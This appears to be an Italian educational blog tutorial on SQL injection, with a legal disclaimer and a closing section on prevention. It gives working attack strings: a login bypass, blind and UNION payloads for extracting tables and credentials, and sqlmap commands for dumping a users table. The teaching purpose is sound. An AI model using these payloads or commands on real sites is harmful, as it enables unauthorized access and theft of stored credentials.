⚠️ Disclaimer legale: Questo articolo è esclusivamente a scopo educativo. Tutte le tecniche descritte vanno praticate SOLO su sistemi propri o su piattaforme autorizzate (TryHackMe, HackTheBox, VulnHub). Attaccare sistemi altrui senza autorizzazione è reato penale ai sensi degli artt. 615-ter e seguenti del Codice Penale italiano.
Cos'è SQL Injection
SQL Injection è una vulnerabilità in cui l'attaccante inserisce o "inietta" codice SQL malevolo attraverso l'input di un'applicazione web. Se l'applicazione non sanitizza correttamente l'input, il database esegue il codice iniettato.
Tipi di SQL Injection
In-band SQLi (più comune)
I risultati dell'injection vengono mostrati direttamente nella risposta HTTP.
# Classic: input in un form di login
Username: admin'--
Password: qualsiasi
# Query risultante (username viene chiuso dal ' e il -- commenta il resto):
SELECT * FROM users WHERE username='admin'--' AND password='qualsiasi'
# Equivale a:
SELECT * FROM users WHERE username='admin'
Error-based SQLi
Sfrutta i messaggi di errore del database per estrarre informazioni.
Blind SQLi
Non ci sono errori visibili. Si usa l'inferenza: risposta diversa per condizione vera/falsa (Boolean-based) o ritardo nel tempo di risposta (Time-based).
# Boolean-based: se il primo carattere del nome DB è "a"
' AND SUBSTRING(database(),1,1)='a'--
# Time-based: se condizione vera, attendi 5 secondi
' AND SLEEP(5)-- (MySQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
UNION-based extraction
# Prima: trova numero di colonne
' ORDER BY 1-- (incrementa fino a errore)
# Poi: estrai dati con UNION
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
# Estrai credenziali
' UNION SELECT username,password,NULL FROM users--
SQLmap: automazione
# Identifica vulnerabilità
sqlmap -u "http://sito.com/item?id=1"
# Con cookie (sessione autenticata)
sqlmap -u "http://sito.com/profile" --cookie="session=abc"
# Estrai database
sqlmap -u "http://sito.com/item?id=1" --dbs
# Estrai tabelle
sqlmap -u "http://sito.com/item?id=1" -D nome_db --tables
# Estrai dati
sqlmap -u "http://sito.com/item?id=1" -D nome_db -T users --dump
Prevenzione (per sviluppatori)
- Prepared statements/Parameterized queries: non concatenare mai input utente in query SQL
- ORM: usa framework che gestiscono le query in modo sicuro
- Input validation: whitelist, non blacklist
- Principio minimo privilegio: account DB solo con permessi necessari
- WAF: Web Application Firewall come livello aggiuntivo
💬 Commenti (0)
Nessun commento ancora. Sii il primo!